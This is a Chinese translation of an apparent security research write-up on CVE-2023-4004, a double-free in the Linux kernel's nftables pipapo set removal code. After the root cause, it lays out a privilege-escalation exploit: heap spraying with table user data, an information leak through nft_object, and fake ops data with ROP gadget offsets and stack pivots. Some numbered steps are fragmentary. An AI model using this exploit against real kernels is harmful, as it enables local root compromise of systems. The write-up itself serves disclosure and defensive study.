该文章分析了CVE-2023-4004漏洞的成因,该漏洞是由于在nftables的nft_pipapo_remove
函数中,当移除一个pipapo set中的元素时,没有正确处理NFT_SET_EXT_KEY_END
的缺失,导致可以多次释放同一元素。
如果你想了解 CVE-2023-4004 的一些基本信息,请先阅读 vulnerability.md。
nftables 是一个 netfilter 项目,旨在取代现有的 {ip,ip6,arp,eb}tables 框架,为 {ip,ip6}tables 提供一个新的数据包过滤框架,一个新的用户空间实用程序 (nft) 和一个兼容层。它使用现有的Hook、链接跟踪系统、用户空间排队组件和 netfilter 日志子系统。
它由三个主要组件组成:内核实现、libnl netlink 通信和 nftables 用户空间前端。内核提供了一个 netlink 配置接口和运行时规则集评估。libnl 包含与内核通信的基本功能。nftables 前端用于通过 nft 进行用户交互。
nftables 通过使用一些组件(如 table
、set
、chain
、rule
)来实现数据包过滤。
正如 /net/netfilter/nft_set_pipapo.c 中的函数 nft_pipapo_remove
中的代码所示,当一个 pipapo set 想要删除一个元素时,它使用 NFT_SET_EXT_KEY 和 NFT_SET_EXT_KEY_END 找到该元素:
...
match_start = data;
match_end = (const u8 *)nft_set_ext_key_end(&e->ext)->data;
start = first_rule;
rules_fx = rules_f0;
nft_pipapo_for_each_field(f, i, m) {
if (!pipapo_match_field(f, start, rules_fx,
match_start, match_end))
break;
...
但是 NFT_SET_EXT_KEY_END 不是必须的。函数 nft_pipapo_insert
显示了处理它的正确方法:
...
if (nft_set_ext_exists(ext, NFT_SET_EXT_KEY_END))
end = (const u8 *)nft_set_ext_key_end(ext)->data;
else
end = start;
...
按照以下步骤很容易触发它:
CVE-2023-4004 非常容易利用,因为你可以多次释放该元素。元素的大小不稳定,这意味着有很多方法可以利用它:
void *nft_set_elem_init(const struct nft_set *set,
const struct nft_set_ext_tmpl *tmpl,
const u32 *key, const u32 *key_end,
const u32 *data, u64 timeout, u64 expiration, gfp_t gfp)
{
struct nft_set_ext *ext;
void *elem;
elem = kzalloc(set->ops->elemsize + tmpl->len, gfp);
if (elem == NULL)
return NULL;
...
tmpl->len 与你的输入(如 NFTA_SET_ELEM_USERDATA)相关,这意味着你可以控制元素的大小。所以你只需要找到一个结构来泄露信息并控制 RIP。我选择使用 nftables 中的一些结构:nft_tables
和 nft_object
struct nft_table {
struct list_head list;
struct rhltable chains_ht;
struct list_head chains;
struct list_head sets;
struct list_head objects;
struct list_head flowtables;
u64 hgenerator;
u64 handle;
u32 use;
u16 family:6,
flags:8,
genmask:2;
u32 nlpid;
char *name;
u16 udlen;
u8 *udata;
};
struct nft_object {
struct list_head list;
struct rhlist_head rhlhead;
struct nft_object_hash_key key;
u32 genmask:2,
use:30;
u64 handle;
u16 udlen;
u8 *udata;
/* runtime data below here */
const struct nft_object_ops *ops ____cacheline_aligned;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
通过使用 NFTA_TABLE_USERDATA 创建许多 nft_table 来 spray 堆很容易:
...
if (nla[NFTA_TABLE_USERDATA]) {
table->udata = nla_memdup(nla[NFTA_TABLE_USERDATA], GFP_KERNEL);
if (table->udata == NULL)
goto err_table_udata;
table->udlen = nla_len(nla[NFTA_TABLE_USERDATA]);
}
...
并且 nft_object 有一个函数列表的指针 (const struct nft_object_ops *ops
),这将有助于泄露信息和控制 RIP。
当你使用不同类型的 object 时,object 的大小是不同的。我选择使用 NFT_OBJECT_CT_EXPECT
object。此 object 使用的堆属于 kmalloc-192。
我通过以下步骤泄露了一些有用的信息。
set A
element B
插入到 set A
中,但没有 NFT_SET_EXT_KEY_END(确保 sizeof(element B
)>192 && sizeof(element B
)<256)set A
,element B
将被释放,但不会被删除element B
的堆,NFTA_TABLE_USERDATA
的长度应等于 sizeof(element B
)set A
,element B
将再次被释放,但不会被删除element B
)。其中一个将取回 element B
的堆。NFTA_TABLE_USERDATA
应该是一个 object 的结构。我通过以下步骤控制 RIP,这与我用于泄露有用信息的步骤非常相似:
set A
element B
插入到 set A
中,但没有 NFT_SET_EXT_KEY_END(确保 sizeof(element B
)>192 && sizeof(element B
)<256)set A
,element B
将被释放,但不会被删除element B
的堆,NFTA_TABLE_USERDATA
的长度应等于 sizeof(element B
)set A
,element B
将再次被释放,但不会被删除NFTA_OBJ_USERDATA
创建许多 object。object 的大小应等于 sizeof(element B
)。object 的 NFTA_OBJ_USERDATA
将用于 ROP。NFTA_TABLE_USERDATA
应该是一个 object 的结构。获取目标 object,我们最终将跳转到 ROP。
static int nft_object_dump(struct sk_buff *skb, unsigned int attr,
struct nft_object *obj, bool reset){
struct nlattr *nest;
nest = nla_nest_start_noflag(skb, attr);
if (!nest)
goto nla_put_failure;
if (obj->ops->dump(skb, obj, reset) < 0)//在覆盖 ops 之后,我们可以在这里控制 RIP。
goto nla_put_failure;
nla_nest_end(skb, nest);
return 0;
...
一旦我们完成 控制 RIP
的步骤 7,我们就可以获得目标 object 的 NFTA_OBJ_USERDATA
的堆地址,我们在步骤 6 中 spray 了它。
我通过以下方式填充 object 的伪造数据:
//ops 是我们将填充在 NFTA_OBJ_USERDATA 中的内存指针
//ops 的 0x20 处的字段是 ops->dump。
*(uint64_t *)&ops[0x20] = kernel_off + 0xffffffff8198954b;//push rsi ; jmp qword ptr [rsi + 0x39]
...
//leak_obj 的 0x48 处的字段是 obj->udata,它将由 NFTA_OBJ_USERDATA 创建。
uint64_t rop_target_addr = *(uint64_t *)(&leak_obj[0x48]);
printf("rop : %lx\n", rop_target_addr);
//现在我们尝试填充 object 的伪造数据
//第一次堆栈迁移
*(uint64_t *)(&leak_obj[0x39]) = kernel_off + 0xffffffff81027924;//pop rsp ; ret
//第二次堆栈迁移
*(uint64_t *)(&leak_obj[0]) = kernel_off + 0xffffffff81027924;//pop rsp ; ret
*(uint64_t *)(&leak_obj[8]) = rop_target_addr + 0x60;//这是最终的 ROP 地址。
*(uint64_t *)(&leak_obj[0x80]) = rop_target_addr;//偏移量为 0x80 的字段是一个 nft_object_ops 结构指针,设置为 NFTA_OBJ_USERDATA 的堆地址。
...
ROP 的步骤如下所示:
obj->ops->dump(skb, obj, reset) ->
push rsi ; jmp qword ptr [rsi + 0x39] -> //RSI 将是 object 的指针
pop rsp ; ret -> //堆栈迁移,rsp 将是 object 的指针
pop rsp ; ret -> //再次堆栈迁移,rsp 将是 rop_target_addr + 0x60(NFTA_OBJ_USERDATA + 0x60 的指针)
现在我们可以在这里进行正常的 ROP
- 原文链接: github.com/google/securi...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!